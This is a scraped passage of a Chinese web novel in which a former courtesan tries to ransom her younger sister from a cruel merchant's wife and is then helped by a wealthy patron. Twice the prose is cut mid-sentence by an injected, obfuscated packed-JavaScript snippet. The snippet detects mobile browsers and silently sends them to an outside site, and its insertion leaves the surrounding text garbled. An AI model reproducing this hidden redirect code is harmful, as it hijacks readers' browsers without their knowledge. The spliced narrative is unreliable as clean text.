听得怀中人果然哭得更厉害时，晏浩初凑近了拧眉无声冷笑，又附到她耳畔缓声道：“钱的事，我会尽快想办法，早些歇息吧。” 见她还犹豫停顿，他又拉开些距离，皱着鼻子有些俏皮地笑了下，诉苦一般：“来日方长，阿姐既怕，就不要再为难我。” 灯火下贴的近，才发现他的眼瞳是偏浅褐的暖色，望进去深潭一样，本来昳丽俊逸的眉目顷刻显得柔情难耐起来。 轮廓眼角里还存着少年人的朝气青涩，当他摆出如此无奈又包容的一副脸面时，似又兼具了知晓世间悲苦的通达。 阮苹捏紧宝钞，叫他这么望着，她泪眼顿住，险些忘记移开视线。 在他直起身问：“可要做些醒酒汤？”时，少年颀长身影遮蔽灯火，方才相缠的场景再次浮上心头。心乱、惊怕、难堪……一时间千情万绪齐涌，她才连道着：“不用。”逃也似地推门出去了。 她看不到，在她身后，少年面色阴冷地以指抚唇，盯着她背影的眸子里是透着克制的兴味。 在她单薄背影没入雨幕时，便连那三两点的兴味克制也不见，他眼底灰烬一样，只余荒芜。 夜雨绵绵，阮苹在西屋枕着宝钞，她做了一夜凌乱的梦，数不清惊变几回，有好几场如真似幻地梦到了他。 说了什么她一句不记得，唯独记得他那双笑意和暖的浅褐色眸子。 10. 林员外家 第二日酒醒后，阮苹忍着头昏爬起来去厨间寻水喝。 灶上留了清粥小菜和醒酒汤，还有一张写了他又进山捕猎的字条。 透过清俊有力的正楷，仿佛又被他贴身环抱着，昨夜自己醺醉后的行事霎时回现，她当即面红耳赤得能滴下血去，简直想寻个地洞钻进去了事。 是从未有过的慌乱忐忑，并不好受。 好像自己变得很陌生，她本能地只想排斥。 胃里反覆着想吐，念着还要去浔溪县里办正事，她没动粥菜，原样用纱布盖回去后，端起解酒汤捏着鼻子一气灌了下去。 醒酒汤效用颇快，等她收拾好要带去绣坊换钱的汗巾荷包，清点包好银钱立在后院时，头昏的感觉已好了许多。 想到煮这汤的人，她心中黯淡下来，虚掩柴门的动作却没一丝迟疑。 往隔壁药庐搭上诸葛师徒的驴车时，那点子黯淡灰心就转作理智。 驴车哒哒笃笃穿过乡野土路进了浔溪北城门，她和诸葛洪两个慢悠悠叙着来日闲话，小墨坐前头赶着驴。 救命酬谢的事，阮苹没有瞒着他们爷俩。本就是诸葛洪解的毒，当她说了要分出三分之一的酬劳给他们，诸葛洪不肯要，两个推拒半日，才终是议定了，若最后她真能得一百五十两，就先办好姐妹两脱籍立户的事，往后等小墨成家时，她再出三十两。 整个过程，诸葛墨都没怎么应声，只在最后听得三十两时，背着身颔首道：“姊姊放心，墨儿往后定寻个好媳妇，让她也孝敬你。” 驴车一个颠簸，阮苹扶稳诸葛洪，含笑纠正：“傻孩子，你照拂阿翁便是，浑说什么孝敬我。” 进了城，师徒两个先把她送到兴隆钱庄，等她成功换出五十两碎银后，又把人送到城南绣坊门前，才赶着驴车折返去求医的病患家里，商定了一个时辰后往林家大宅相会。 在绣坊换银子时，听得萧公子从苏州织造局回来了，有相熟胆大的绣娘撺掇阮苹等上一等，说是一会儿萧公子就要来绣坊和天竺商人谈绸缎买卖。 提到萧公子，阮苹脑子里就浮现出一个疏风朗月的矜贵面目。江南织造萧家的子弟，那家嫡支可是能通天的人物。 自知之明么，她还是有的，同绣娘们闲话两句后，就告辞往林家去了。 后头的事，却是出奇得艰难不顺。 林家的大宅子就在绣坊前头巷里，她袖着六十九两巨款空手走着，就穿着日常自家裁的薄麻裙，这几条街巷离着府衙不远，白日里虽也有流民乞讨的，只还算热闹安全。 到林家朝门子说明来意后，她被人带着立在最外头的院子里等。 人来人往的，银子有些分量，她便袖手垂目等着，时而有仆从婆子经过时，朝她指指点点。 往常来的时候，虽也多遭冷眼，不过林大娘子钟婉清信佛，林家规矩极重，往常对下人约束也严。 然而今日…… ——“就是她，勾搭公爹厉害着呢。” ——“新来的范县台真真是尊菩萨，本来都定了凌迟的呀！也不晓得上辈子什么秽星投胎来，命硬。” ——“贱骨头的出身，一脸正经地给谁瞧呢。你说她还来作甚，莫不是后悔当年没听咱大娘子的话？” …… 风言风语没一句好听的，阮苹却连眼皮都没掀一下。这些都是外院的粗使婆子，大多上了年岁，桃露在这儿没什么好人缘，她知道，入耳的这些难听话不要紧，要紧的是林大娘子这回怕也是动了真怒。 林大娘子早年只得一女，还夭折了，便一向同生了两个儿子的二姨娘程氏不合。为了同程氏斗法，林大娘子特意买了三姨娘柳媚儿回来。三姨娘柳媚儿诞下一女，今年七岁，正是如今颇受宠的林雪。 日头毒辣，阮苹枯等了二刻，她昨夜饮酒过甚，正晒得头晕反胃时，里头才有婆子来喊。 跨过二重院落，她被带到一处花厅改制的佛堂里。 大娘子钟氏、二娘子程氏、三姨娘柳氏各自领着贴身丫鬟，全都在花厅聚着，阵仗颇大。 柳氏红肿着一双风情万种的眼，朝她投来阴狠刻毒的视线。二娘程氏则是漫不经心的看戏意态，轻视的目光在柳氏和她身上来回睃转。 再加上十几双丫鬟婆子冷冰冰地探究视线，尽数聚过来。 然而这些，都不及端坐主位碾动佛珠的林大娘子钟氏，看到她，阮苹心底无端发怵。 算起来，阮苹和林大娘子，相识已久。 那一年，林钟氏爱女病逝，在城外铁佛寺大办佛事，正巧碰见了跟着鸨儿在寺里上香，才九岁的阮苹。 阮苹是不信佛的，可鸨儿潘妈妈信，因此，她很小就把寺里常诵的几篇经文都背会了。 打那一回照面过后，林钟氏几乎每月都要喊她作陪，去的次数多了，阮苹见识了林钟氏不为外人知的蛇蝎刁钻，一个日日念佛的人，满肚子的虚伪刻薄。 她曾亲见过他家残废、自尽的丫鬟，林大娘子却一次也没被官府问过。 林钟氏是个极难伺候的人，在阮苹推拒了进林家作妾后，林钟氏变着法地唆使鸨儿折磨她。 再后来，她家老爷林孝成不知怎的就和桃露看对了眼，两个郎有情妾有意，签了个佃妾的文书后，一乘小轿连夜就把桃露接了去。 而阮苹自己，头一夜被个凶恶客商买下。 这一桩，潘妈妈透露过，也是林大娘子的授意。 地狱无门，也为了这一桩事，她才认准了表面怯懦和善的孙世贵，在铁佛寺上香的时候自毁容貌，才算让林大娘子收了手。 往事历历，花厅里三个妇人都没说话。 林大娘子钟婉清端着张菩萨般的容长脸，阮苹只觑了一眼，晓得她最恨人绕弯子，索性伸头一刀缩头也一刀，便硬着头皮直直跪下去：“夫人，听闻您要发卖了桃露，可是开了六十两的价钱？” 林钟氏的叔父做过本县县丞，家中算是官商，然她娘家有个文武经商都不行的胞弟唤钟鸣的，眠花宿柳吃喝嫖赌，是个无底洞。 林家家业虽厚，到底还在林老爷手里，她一个内宅妇人，一年例钱一百两多些，根本不够填娘家的缺，实则也还要经常打饥荒呢。 因此，赎桃露的事，阮苹敢来，也就是觉着看在银子面上，未必没有指望。 果不其然，在她问完这看似突兀的一句后，林大娘子沉吟了会儿，吹一下茶盖，她身旁的管事婆子代问：“四姨娘无出善妒、目无尊长，这次又害了雪小姐，她虽是佃奴，料潘妈妈也不会过问，发卖的价钱，还是我们定。” “小妹年幼不省事，夫人慈悲，万望撤了牙婆的托。”从袖里摸出一只备好的莲花纹荷包，上头绣了佛号，阮苹恭敬地将它高举过额，摆出供奉的姿势。 待管事婆子接过递了林夫人一看，就见里头散碎银子七零八落的，整好凑足六十两。 林夫人翻看荷包，原本板着的容长脸松弛下来，她用保养得宜的手拨了拨碎银，右腕上一只通透名贵的翡翠镯子，在银子上碰出清脆悦耳的声响。 管事婆子察言观色，继续说：“六十两只是起价，这些年的吃喝，还有欠潘妈妈两年的赁钱……” 婆子嘴皮子尚利落翻阖着，末座上柳姨娘突然拔座而起，一个健步奔到阮苹跟前，气狠狠地劈手打在她脸上。 这一下太过迅疾，阮苹左颊顿起鲜红指痕。 她歪倒在地上，便连哼一记都没有，面色平和地细望砖地纹路，目中心底皆是一派漠然。 管事钟婆子噤声，花厅里十几道视线聚来。 柳媚儿居高临下，红肿着眼厉色斥：“我的雪儿叫你妹子害得还在说胡话，她就是个该千刀万剐的贱人！你个做亲姐的倒就有脸面来赎人……” 柳媚儿声泪俱下，高扬着嗓子迸出一个个难听嫌恶的字句。 在场的婆子丫鬟都用看戏似的不善神色静观，连阮苹自己也奇怪，自个儿心气平的，如同傀儡泥塑。 她就这么跪坐在厅中，任柳媚儿发泄推打，一声痛不呼，半个字辩解也无。 趁着稍息的空儿，她再次跪正身子，仰头朝主座，忍着痛只和声催问：“夫人，钟管事方才说的在理，请再细算算，报个准数。” “你自己都还是孙家的奴，哪来的银钱给那小贱蹄子赎身，口气恁大，来啊，给我撕烂她的嘴！”见阮苹理也不理自己，柳媚儿愈发嫉恨交加，急怒间又要动手。 “三娘，住手！”忽有小丫头来报，说是渔村的盲医诸葛洪来了，主座上的林钟氏饮一口茶，慢悠悠终于开了口，“从金陵请的大夫明早才能到，雪儿昨夜也退烧了，先叫诸葛先生诊一诊。” 林钟氏语调清润，言谈和气，柳媚儿虽恨却颇为忌惮，憋着一股气，朝上行了个礼到底退了出去。 花厅里钟婆子继续报算起阮桃露在林家的用度银钱，阮苹顶着鲜红指痕一颗心渐渐往下沉，就见林钟氏在上首盘碾起一串紫檀佛珠，状似不经意地用尾指沾了茶水在桌上随手划了两下。 茶水在桌上印出‘一百二’的水痕，饶是钟婆事先打听过阮苹在绣坊的价钱，也禁不住皱了下眉。 便是这一下，让阮苹预感不妙。 当对方说出：“统共一百二十两，夫人大度，小姐的伤三姨娘也有责，诊金药钱就不算了。” 她半真半假地一屁股瘫坐下去，怔了许久试图同她们讲理：“不瞒夫人，这六十两也还是我拼凑借来的，桃露在林家也三年了，您即便发卖了她，若潘妈妈不接手，寻常人家未必……也拿不出那么多来啊。” 寻常人家买妾也至多二三十两了事，即便桃露样貌好，也不太会有人家愿用六十两买下的，当然，若真能回去仍做瘦马，自不一样。 她说的在情在理，林钟氏面色柔和地望着她，忽然挥手叫人都退了下去。 花厅里只剩三人时，她笑微微想先排除一桩疑惑：“苹儿，你同湖州上一任的叶府台，是个什么关系啊？” 阮苹心中一凛，很怕牵累出家中的‘逃兵’，面上愁云惨淡，故作焦躁道：“大约是哪位曾听我娘唱过曲的大人么？夫人，一百二十两我真的拿不出。夫人若肯开恩，苹儿此生都会在佛前顶礼泣告，誓愿护持夫人……” 她目色沉静地膝行两步，就要如往常般上前讨好，但闻一声极轻的冷哼过，林钟氏打断她：“一百二十两，不需多言。” “夫人，我真的借不到这么多。”她惨笑着顿在地上。 钟婉清皮笑肉不笑：“若本夫人说，你可以在我这儿打欠条呢？” 话到这份上，阮苹明白林钟氏是和孙家一样，早去绣坊把她的工钱打听清楚了。 她在心里算了笔账，因知这位大夫人的性子，也不再扯皮，木着脸应下：“六十两您先收着，另外六十两，还请夫人多宽限些年月。” 待丫鬟取来笔墨，就要写欠条时，钟婉清摩挲着佛珠，在阮苹写到数目的时候，忽抬眼若毒蛇吐信：“慢着，还是太少了些……一百八十两吧。万一雪儿那丫头治不好，本夫人也得安抚安抚三娘嘛。” 再一次狮子大开口般的突然加码，连钟婆子都唬了一跳，她是钟婉清的乳娘，林府最有地位的管事婆子，一年到头也才十八两例钱，她老婆子攒了一辈子，都从没攒够过一百八十两雪花银啊。 见阮苹悬毫的胳膊在微微发抖，钟婉清起身款步踱到她身侧，扑面一股子浓郁过头的檀香里，她捏住阮苹的脸：“苹儿，不想写这张欠条也行。你晓得的，我一向见你最合心意，一见你那妹妹就心烦头疼。你看这样，你同孙家五年之约，我着县里出面，什么烂身契他孙家敢要二百两！” 妇人尖锐冷硬的指甲贴脸来回抚着右颊长疤，继续循循善诱：“孙富那一家子混账，本夫人将你的身契弄来，直接替了你妹子，到时候你给老爷生个一儿半女的，咱们姊妹日夜伴着，可好啊？” 妇人说话的时候，有玫瑰露的香气掺在檀香里，阮苹移开眼，只觉着自己好像被一条吐着血红信子的毒蛇给盯上了，两种香搅和在一起，叫她有些想吐。 将一个绣品能卖高价的绣娘扣在身边，往长久了看，的确比直接要百八十两还要合算。 再有另一层，阮苹的脸毁了，受用于她的聪慧周到，钟婉清愈发想用她来顶了四娘桃露的位置了。 不敢相信自己的霉运，她实在是有些料不到，林钟氏总也是有身份的正头太太，竟会如此算计执着于她。 阮苹还跪在地上，执笔的手却稳了下来。 她安静而顺从地听着，不卑不亢仿若寺中沙弥，林钟氏最爱看她如此，再令其诵经，便好似她钟婉清是被人供奉在庙里的神佛一样。 以为是能逼着人就范，钟婉清施恩般朝她发顶温柔地抚了抚，自认端俨柔和地笑了笑。 正要将人拉起身说两句劝哄的好话，就听阮苹问：“夫人当真要开一百八十两的天价？” 钟婉清笑里带上三分鄙色，没有作声。 她便继续用一种轻如呓语的声调平叙：“潘妈妈买过最贵的雏儿也不过三百两，我妹妹桃露么，一百两应是卖不上。倘若真让我用一百八十两赎回妹妹，我苦熬一辈子没甚。只是，外头人晓得时，定要议论，那夫人的名声……” “你放肆，不识抬举的东西！”花厅里没旁人，钟婉清毋须作态，这一下露了真面目，甩手紫檀佛珠飞起，‘欻’得一声抽在阮苹额间。 见她不躲不避，林钟氏暗骂声‘贱骨头’，阴沉沉哼一记，心疼地反复翻看佛珠，发了狠哼笑着吩咐道：“钟姨，既然做姐姐的拿不出银钱，还要来泼本夫人的脏水，那四娘的身银我就不碰了，你也不必找潘妈妈，今儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659140|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜里，把那小贱人一个麻袋套了，十两银子，往城外送个河下人家就是。” 说完话，钟婆子配合着高喊声送客，就涌进来几个身强力壮的粗使婆子，不由分说地就去拖阮苹。 到这时候，阮苹是真的没办法了，她浑浑噩噩地被人拖着倒走，脚步凌乱狼狈。 她拿不出那么多钱，又不想把自己折进林家，才铤而走险地同林钟氏说理，谁能想到，这点忤逆就把人冒犯得罪到这一步。 弄巧成拙，她可以救不成桃露，可万不能看着她被卖进暗窑里去！ 她觉着自己被毒蛇咬住命门似的，其实林家小姐一磕伤，林钟氏就已经打定了主意，要逼着她用自己去换妹妹。 望着主座上悠然饮茶的女人，这一刻，阮苹恨到了极点，这妇人简直比孙家人还要难对付，她在她面前做小伏低、察言观色了这么多年，她竟还想捏着自己一辈子，这简直比杀了她还要难受。 她张着嘴，似一条脱水将窒的鱼一样，开始变得目中空洞，整个人被绝望笼罩着。 回望这三年，她一头在孙家日夜苦辛地熬，另一头，一颗心始终吊着，从未有一日真正安下心过。 是看着桃露被卖去暗窑，还是用自己去换，而后永远失去脱籍立户的可能，一辈子在林钟氏眼皮子底下为奴？ 除了孙屠户外，这是第二次，她对一个人起了杀心。 双脚重重磕在门槛上，终迸出一记全无体面的失声高喊：“夫人！夫人容禀，是我辜负夫人厚爱……” 见她失魂落魄，林钟氏心中稍稍快慰，只还想着让她记个忤逆的教训，便作不耐状挥手令婆子手脚快些，自个儿起身就要往后堂去。 阮苹被人倒拖着，嘴上喊着讨饶求恕的话，心里盘算过一大圈，只依旧没能寻出破解之法。 她眼底透出破碎动荡光芒，斜横着射向林钟氏板正背影。 不待她开口再喊，一个看门小厮急匆匆迈进来，身后竟跟着绣坊管事萧娘子。 “呀！萧姐姐怎亲自来了，可是府上公子有吩咐？”林钟氏忙止步，转过笑脸疾步迎上去，又立刻责斥门子：“贵客来了你拦什么。” 看门的小厮回说：“老爷是定的后日宴请萧公子，今儿老爷未归，小的没得吩咐呀……” “糊涂东西，还不下去！”钟婉清斥走小厮后，才重端起笑脸，一面叫人赶忙去里间置办酒菜，一面亲亲热热的就要去挽人，拿眼支使人弄走阮苹：“咱们老爷又上松江买药材了，姐姐您今日过来，有什么同我说也是一样的。” 萧掌事五十来岁，瘦高个面相凌厉。论岁数，比林钟氏大了近二十岁。 其实萧家来浔溪接管绣坊，也就是这一个多月的事，林家虽是本地数一数二的商户，两家不过才走动过两次，萧掌事同林大娘子，不过在半月前有过一面之缘。 这县里人都让着林家三分，萧掌事却是有江南织造局从七品女官的职务，如林大娘子这样的商人妇，她是根本不放在眼里的，甚至连敷衍和官腔都懒得同她打。 是萧公子让她来赎人，反正无碍大局，她顺道办事也就来了。 萧掌事往侧一让，叫钟婉清扑了个空。她从怀里摸出二十两，用一种不容商榷的命令语气说道：“林夫人，八十两银子，应该足够阮姑娘的妹子赎身了吧？” 此言一出，钟婉清整个人愣了愣，反应过来后，错愕万分地要发问。 萧掌事抬手止她：“我只能待一刻，酉正还要去迎天竺使者和苏州府台来省亲的眷属，林夫人莫要耽搁。” 这是要立刻赎人拿身契，毫无转圜余地的意思了。 钟婉清哪里敢得罪她，险些气得咬碎一口银牙。虽然八十两赎桃露，早是多赚了。 不过正当她自觉颜面扫地之时，后院里闹了起来。 阮苹一下就听出了妹妹桃露的声音，几个人一同循声赶过去，就看到桃露和柳媚儿竟扭打到了一处。 “嘻嘻，遭天谴的黄脸婆，我早说没动你女儿一根指头。下三滥的奴，没听见我姐姐给我脱了籍！等老爷回来，哪天厌了你，我就向他讨了你作丫头，日日给我端茶倒水！” 林家三娘四娘争宠不和的事，仆从们早都习惯了。这会儿一群人假模假样地去拽，推搡间踩得后院花盆碎了一地。 阮苹却没过去，她手上捏着桃露的身契，紧锁着的眉眼里俱是忧色无奈。 她没看出桃露是受伤挨过打的样子，暗暗心惊于林钟氏是真的要将她发卖回烟花地的，但桃露自己或许还不以为然。 不出所料，桃露坚持要在林家等林孝成回来。这倒让林大娘子略挣回了些脸面，当着众人的面，林钟氏态度骤改，只说小姐磕伤头的事还要再察问清楚，还吩咐人好生送四娘子回房安抚。 阮苹深谙桃露九头牛都拉不回的气性，身后萧掌事又催着，便只在离开前，状似不经意地从三娘柳媚儿身侧经过。 “雪儿同桃露一向玩的好，她们都是直肠子的，倒是大娘子……雪儿磕伤头那日，我听寺里的师父说，好像恰好是大娘子嫡女的祭日啊。” 说完这一句，果然见柳媚儿美目圆睁。 她晓得自己的话起了作用，多留无益，才头也不回地跟着绣坊的人跨出院子。 萧掌事一路高昂着头，似乎有些不屑于同她攀谈。 到了林府外头，就瞧见门前大路上浩浩荡荡十几辆雕饰精美的马车候着了。 萧掌事将她带到最末一辆不起眼的素色马车前，就兀自跳上前头一辆。 车队轱辘阵阵往城东去，林府门前，很快就单剩了这辆素色青布帘的车驾。 里头人不动，阮苹便也不动。 她绣工虽精巧，但也知自己在萧掌事跟前，不过就是个没交情的良工罢了。织造局什么样鬼斧神工的巧匠没有，她一个贱籍的零工，根本不值得萧掌事巴巴跑这一趟。 有什么人，是能吩咐萧掌事的呢？ 她只能想到一个人。 马车里似有若无地响起声哈欠，轿帘嚯一下被掀开，露出一张闲云野鹤的清贵脸面。 萧璟穿一身袖口洗得发白的月色直裰，没束发带冠，只在背后松松拢了，他极和气地弯起一双漆黑如玉的眼，浅笑着朝阮苹伸出只骨肉匀亭白嫩嫩的手：“月余不见，姑娘上来叙叙？” 对她脸上的指痕，他并不多问。 她看见自己伸出粗糙不堪的手，顺从地放到他手里。 萧璟一使力，就拉着她双脚一空跃上车，这一下便跌撞了满怀。 诧异于她身子的虚软，他忙伸手托了下她孱薄的背，将人扶到同侧的轿凳上坐了。 二人并肩坐稳，仅隔了一拳的空儿。 青色轿帘落下，里头传出声：“从北门出城。”车夫挥鞭，马儿嘶鸣一记，蹄声笃笃扬尘而去。 11. 萧公子 萧璟，江南织造萧氏旁支次子，十六岁起往南洋贩茶贩丝，将近而立，尚无妻妾子女，只是著有数册南洋诸国图志。 一个半月前，绣坊易主，新坊主萧公子的显赫家世，几乎是没一个绣娘不知的。 马车内间阔大，他们挨着坐。阮苹不适应男子过分亲近，然这一位，偏从没让她生过不适。 甚至于，她瞧他，有一种不寻常的亲切感。他们的身份地位经历，天差地别。可这么多年，也就这一个，是能真正听懂她的琴音的。 受困于瘦马、奴籍的身份，她想活命，不得不谨小慎微、泯灭己心，乃至是奴颜婢膝…… 可在眼前这位贵公子身上，虽只寥寥数面，有好几个瞬间，她好像看到镜子对面的自己，她觉着自己或是被累傻了，才生出许多疯念来。 颠簸中，她极力地思索着，纠结着该用怎样的身份回应他的相助。 琴友？东家？还是…… “范蠡初遇西子，便在此地。”马车出城，萧璟还是先开了口，手上不动，他掀开小帘透窗看西天霞色：“太湖之滨，不知可有幸再听姑娘琴音？” 听出他声调里的一丝惆怅，她暂且放下卑怯自厌，循声看过去。 西天缱绻澄亮霞色照着他半张脸，在他满目生辉的眼底里，蕴着浓的化不开的悲色，是那种深不见底无着无落的悲悯，刺得阮苹一惊。 她忙移目：“家里的破琴把位都不准，不比乐人自小正经学，乡野调子，胡乱编排，只够自遣罢了。” “胡琴本就是乡野之调，即兴遣情而已。乐人匠气太重，反而比不上姑娘。”男人转头打开对面座下箱笼，里头次第堆着好些异域风格的玉石宝器。 他俯身取出支通体银亮式样奇怪乐器，“这是西洋一种铜银混制的笛子，我吹不惯。正巧过来，赠了你，我便起程回京。来日，望聆仙音。” 阮苹看着他手中之物，沉默下来。 大梁民间海贸禁绝，西洋货难得，在苏湖一类富庶地，西洋货往往有市无价。曾经归家院有个头牌娘子收到过一枚玻璃宝镜，后来兴隆钱庄来人买了去，出了三百多两的天价呢。 乐器或许没宝镜好流通，但这西洋笛材质稀有，沉甸甸的笛尾上还吊着翠蓝粉紫四色罕见玉石，一长串凑足了日月星辰和飞羽玄鸟好几样，用一根细巧的金线长长串起，银河流矢般倾泻垂落。 阮苹不懂玉石，可她总也晓得，市面上通行的多是翡翠黄白玉色，玉石这类天然之物，愈是色泽浅的，便越是值钱。 她低垂着头去接长笛，托在手上细望两眼，就小心地将它平放在轿凳上。 便是再爱钱，她也断不能收此物。 …… 马车送她到渔村最北的湖岸旁时，西天边金乌半沉，粼粼水波推着落英浮动，天地间透出股荒颓景象。 此处湖岸离着阮苹家的草屋甚近，仆从摆完茶点退到远处，萧璟席地坐着，递给她一把上等紫檀胡琴。 她朝一块湖石上坐了，起先心事重重的，莫名生出种无法克制的心虚。 即便在欢场多年，她也从没见过真正的乐痴。 听音，是真的为了曲子本身。 除了她自己排解悲苦外，还从没想着，世上也有这样的乐痴。 湖面上莲叶田田，她还在愣神，明亮悠远的笛声当先响起，嗅着清风里湖泥潮润的微微腥气，她慢慢凝神屏息。 萧璟最擅竹笛，这西洋铜笛吹得极有意境，是她从未听过的音调。 东风起，将眼前山湖吹皱吹暗，远近一无舟船，空落落的。 他一曲歇下，她终起弦。 在内弦第一声沉郁饱满起时，她就为这把琴的音色折服，当着眼前浩渺烟波，她眸光一动，还是刻意择了首雅乐来奏。 弦音杳然让人若置身皑皑山雪，似引着人于密林中踽踽跋涉，末了望见古刹俨然，钟罄飘渺。 首段一过，笛音追缠上来。 萧璟换了个适泰些的姿势，横笛身前，随心附和吹奏起来。 明亮笛音揉进沉郁弦色，浑然天成，一瞬里那幻化的古刹似于山雪间拔地而起。青柏葱茏、绿茵遍野花海烂漫，由寒山孤影一下变作生机勃勃的仲春之境。 这世上，当真有‘知音’二字。 一曲''四明僧踪''，二人从未合调演练过，此刻就这么闲坐在湖岸旁，合奏得抑扬错落、明暗相续，竟是比教坊里的版本还要丰厚圆融，叫人动容。 萧璟放下长笛，墨玉眸子还沁着熠熠流光。 等他回味完转头去瞧她时，那点子得遇知己般的流光就已经黯淡无迹了。 他定定地望在她颊侧长疤和指痕，目光既无嫌恶也无爱慕，只是问：“调子和曲谱上不一样，你那一部分滑捻的音有些多，能复盘出来么？” “能。”她轻颔首，亦有些沉浸在他方才完全即兴的附奏里，嘴角微扬了下，起先的顾忌心虚早也荡然无存：“肺腑蕴情而发诸口就是曲，方才若有谱，反倒不尽兴，又何必记呢？” 听她这么一说，萧璟失笑，一张清贵瘦削的脸难得浮出几分俗世间真切的情绪来。他随手从袖里摸了个锦纹荷包，稍稍一抛，那只荷包就以一种极为巧妙的路线挂在了胡琴的琴轸上，在紫檀木镶吉祥纹白玉的琴轸下晃晃悠悠。 “就当是我执迷，请姑娘润谱，如此曲调，天音绕梁，若成绝响，岂不可惜。”他边说边起身朝远处仆从打手势，是天晚要归的意思。 阮苹取下荷包一看，见里头都是大块的银子，只略瞟一眼似还有张百两的银票，她连忙放下琴紧走几步过去。 百余两，要多少个日夜苦累，绣到眼睛在烛前出现残影，脖颈酸僵到没法抬起，劈竹分丝到十指间血痕片片，才能勉强用绣品竹器凑换来。 她不信这世上有无缘无故的好。 压下不舍，她将荷包送举到对方眼前，尽量语调轻松：“一张谱子罢了，附奏也不难，公子喜欢，我回去复盘出来就是。” 见他无意收回，她直接将荷包往他手中一塞，坚定移目，略带嗫喏地低声缀言：“就是一顿饭的功夫，不费什么。就是舍妹销奴籍的事，倘若公子方便，到时候怕还要请掌事娘子陪我们姊妹往衙门跑一趟，借绣坊的二十两，后头半年里我会多绣些好的来抵。” 他们萍水相逢无挂无碍的，要说她的绣艺在浔溪难得，若放在萧氏能接触的层面上，也不过是芸芸绣工里的一粒浮沙。 这样一个官商皆通人家出身的贵公子，能让萧掌事出面助桃露脱籍，说是再造之恩，也不为过。 萧璟面色淡下来，他长久地注视着递送到跟前的那只荷包，少女托着它的那只手上，遍布着的细长浅淡的各式旧痕。食指上似是多年前被绣架梭子夹去了条肉，落下一长片肉白异色。 他忽联想到自己这一生谄媚勤谨的‘青云路’，受这宫闱朝堂的挟持，其实走得艰辛异常，又孤苦万分。他同眼前这女子，像的很。 “一匹上等缂绣十余两，常要四五月才能缂成。孙家却问你要二百两……”他卸下礼数斯文，终于直截了当地指出她的困境：“几百两银子，方才你也瞧见了，于我而言，不值一提，又为何不肯受这份好意？” 萧璟突然上前一步，袖边金线在夕阳里撞上她破旧衣摆。 阮苹未及收敛惊异，手上荷包一松掉在泥地上。她忙蹲下拾起，仔细拍去缎面上的湿泥绿苔。 最近也不知怎么了，老天爷总爱同她玩笑。 绿苔抚落，她已定下神，淡淡道：“公子是云间月，我是沟渠泥。二百两足够往扬州择个色艺双绝的豆蔻清倌。当年孙家买我，也只费了六两。公子如此施恩，实在糜费。” 听她这般菲薄，贾货一样给自己估价，男人皱了皱眉，脱口就想驳斥。 那一句‘并不糜费，若愿意，也可随我回金陵。’将要说时，思及自己的身份，朝堂宫闱的险恶，便又吞了回去。 思量片刻，他终是默然将荷包接回，偏开眼示意仆从套马，望着西边越发黯淡的沉沉暮霭，声调轻而缓：“圣人言，士为知己者死。不单是为姑娘琴音，就是沟渠泥供世人践踩，也一点也不比云间月低贱。姑娘心底里，正是爱重珍惜自己，才一路走到今日地步。” 觉察到身侧女子动容，他无意再多留，回身阔步走到车驾边，帘子掀起又落下，尽数掩去了那一身月色纱缎。 阮苹正要将手里的紫檀胡琴推还与仆从，就听里头人隔着帘子，忽然漫不经心用一种让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659141|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她极为陌生的声息道：“玄诚啊，寻个机会，去打听下姓孙的那一家，就这几日里，你替苹姑娘也把奴籍销了吧。” 叫玄诚的仆从应诺，扬起略显阴沉凶戾的四方脸，朝阮苹恭谨而谄媚地一笑，伸手便朝她要桃露的身契：“小人明儿上晌往孙家，下晌往县衙，两件一道办了，姑娘您只等信儿吧。” 言罢，马鞭子一扬，车驾很快就消失在土路尽头。 坠金嵌玉的铜笛、紫檀雕镂的上好胡琴，一样也没带走。 云霞暗去，独留阮苹一个抱着胡琴在岸边又呆立了许久。 短短一个月来，所遇奇事，是她从前发梦也不敢相信的。 在十一岁学缂丝前，她算是四处偷师，那时候白日里要练昆腔习舞技，夜里躲在厨间熬到星月西沉，一张绣帕都要靠自己苦熬着去拼去攒。 旁人无端的好意，她晓得有，只是于她生长环境，几乎不得见。 二百多两，还有与孙家、林家的交涉，这些原本她极有可能做不成的事，苦费五年也还会有变故的事，如今，萧璟一句话，就这么轻易地成了？ 她枯立在岸边，就这么看着湖面粼粼光芒暗下去，而心里的光，依旧不容克制地，一点点渐渐亮起来。 她觉着自己像是漂浮在无明无际燃满业火的苦海里，十九年来，从没有想过自己真的能到达这业海的尽头，像是突然转了命，否极泰来，似乎就要从此解脱。 这一切，好像都只是从一个月前她刺伤孙富，又意外救下那人开始的。 莫名的，在愈渐寒凉的湖风里，脸上掌印暗暗滚烫。 林府的遭遇，揭醒现实。 又想到昨夜自己的孟浪行径和少年的温柔细致的反应，神思昏昏间，竟免不得把萧璟同他作比起来。 她晓得，自己与萧璟那样的官宦世家，那是连门槛子都摸不上去，是天渊之别。萧公子令她觉着莫测，只是那惜才之意不作假。但萧府那样门第，她是去作丫头也不敢想的。那样的高门大户，花钱如流水，听说要发落侍妾丫头时，都是直接赐死杖毙的呢。 可元家阿弟却不同，他是商户子弟，还是败落的商户。 她在院里听过见过这世上太多男子，从没有一个似那少年一般良善周到。 